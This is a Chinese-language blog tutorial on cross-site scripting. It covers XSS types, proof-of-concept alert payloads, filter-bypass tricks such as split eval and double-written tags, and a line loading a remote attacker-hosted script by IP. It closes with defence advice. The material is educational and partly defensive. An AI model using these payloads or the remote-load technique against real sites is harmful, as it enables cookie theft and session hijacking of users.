XSS专题

一、介绍

XSS(Cross-site Scripting,跨站脚本攻击),Owasp Top 10  2017中排名第7。主要基于JS完成恶意攻击行为。

原因:通过将精心构造的代码注入网页中,并由浏览器运行这段代码,达到攻击效果。XSS攻击的对象是用户和用户的浏览器(前端攻击)。

主要原因是没有对攻击者的输入进行严格的过滤,微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中,但是执行环境在客户端浏览器,属于被动攻击。

主要危害:盗取用户账号;窃取cookie资料,冒充用户身份进入网站;劫持用户会话,执行任意操作;刷流量,弹窗广告;传播蠕虫病毒等。

主要的角色:攻击者、浏览器(与浏览器类型、不同版本有关)、受害者(用户)。

1.攻击者将恶意代码注入到服务器,用户访问该服务器网页。

2.服务器将含有恶意代码的网页响应给客户端。

3.在客户端触发恶意JS代码并执行。

4.用户被攻击。

Poc:XSS的漏洞用一段代码,验证漏洞的存在,这样的代码叫Poc(Proof of concept概念验证)。

EXP:漏洞的完整利用工具。

shellcode:利用漏洞时执行的代码。

payload:攻击载荷。在sqlmap里是攻击模板;msf里边同shellcode,建立与目标的连接。

二、验证漏洞存在的Poc

<script>alert(/xss/)</script>                  弹窗(常用)

<script>confirm('xss')</script>              弹出确认框   

<script>prompt('xss')</script>               弹出输入框

当在浏览器上输入以上内容后,如果有相应的弹窗,代表浏览器可解析代码,即存在XSS漏洞。于是便可以提交任意恶意JS代码。

三、XSS漏洞分类

1.反射型XSS

代码存在于web应用的参数(变量)当中。多发于搜索框。

2.储存型XSS

代码写进数据库或文件等可以永久保存的介质中。可持久攻击(每次点开页面就执行)。多发于留言板。

3.DOM型XSS

修改受害者浏览器页面的DOM树而执行(只要修改DOM树,浏览器就会重新渲染页面),并不会传到服务器上,只在浏览器上执行,因此比较难以检测。

四、XSS构造

1.利用<>构造HTML标签/<script>标签。

2.伪协议

javascript:    +js代码

3.产生自己的事件

事件:如鼠标移动、键盘输入等;JS可对这些事件进行响应,通过事件触发代码。

windows 事件           对windows对象

Form事件                 HTML表单内的动作

keyboard事件           键盘按键

Mouse事件               鼠标或类似动作

Media事件                多媒体触发的事件

五、XSS变形(绕过过滤)

1.大小写转换。

2.引号的使用。应对某些过滤函数。

3.左斜线(/)代替空格。

4.利用Tab或回车符。把一行隔断开。

5.对标签属性值进行编码。

6.拆分跨站。

<script>z='alert'</script> 

<script>z=z+'(/xss/)'</script> 

<script>eval(z)</script> 

以上上三代码在执行时合并成一行,即:<script>alert(/xss/)</script> 

7.双写绕过。

<scr<script> ipt>

六、XSS防御

1.使用XSS Filter(XSS过滤器),过滤客户端提交的有害信息。

(1)输入过滤:

输入是否仅包含合法字符。

输入字符串是否超过最大长度限制。

输入如果为数字,数字是否在指定的范围。

输入是否符合特殊的格式要求,如E-mail地址、IP地址等。

(2)输出编码

(3)黑白名单

七、远程调用shellcode

将JS代码单独存放在一个JS文件中(可以是互联网上任意一台主机地址),然后通过http协议远程加载该脚本。

例:<script src="http://172.168.111.132/XSS-text/XSS.js"></script>

八、终极代码:测试所有的过滤

<script script " 'OOnn>

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
XSS (Cross-Site Scripting) 是一种常见的安全漏洞,攻击通过注入恶意脚本来攻击网站用户。为了防止XSS攻击,可以使用XSS过滤器来对用户输入的数据进行处理和过滤。 XSS过滤器的主要目标是检测和阻止恶意脚本的注入。它可以通过以下几种方式来实现: 1. 输入验证: 对用户输入的数据进行验证,确保只接受符合预期格式和类型的数据。例如,如果一个输入字段只允许数字,那么任何非数字的输入都应该被拒绝。 2. 输出转义: 对从数据库或其他来源检索到的数据进行适当的转义处理,确保在将其插入到HTML页面时不会被解释为可执行的脚本代码。常见的转义包括将特殊字符如<、>、&等替换为对应的HTML实体编码。 3. 内容安全策略(CSP): 使用CSP可以限制页面中可以加载和执行的资源,从而减少XSS攻击的可能性。CSP可以配置允许加载的外部脚本、样式表和图片等资源,同时禁止内联脚本和eval()等危险函数的使用。 4. HttpOnly Cookie: 将敏感信息存储在HttpOnly Cookie中,这样可以防止客户端的脚本访问和修改Cookie内容,减少XSS攻击的影响范围。 5. 使用安全的编程语言和架: 选择使用经过安全性测试的编程语言和架,它们通常提供了内置的安全机制和过滤器,帮助减少XSS攻击的风险。 综合上述措施可以加强网站的安全性,但是XSS攻击的方法和技术不断演变,所以保持对最新安全威胁的了解和及时更新防护措施也是非常重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RootZY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值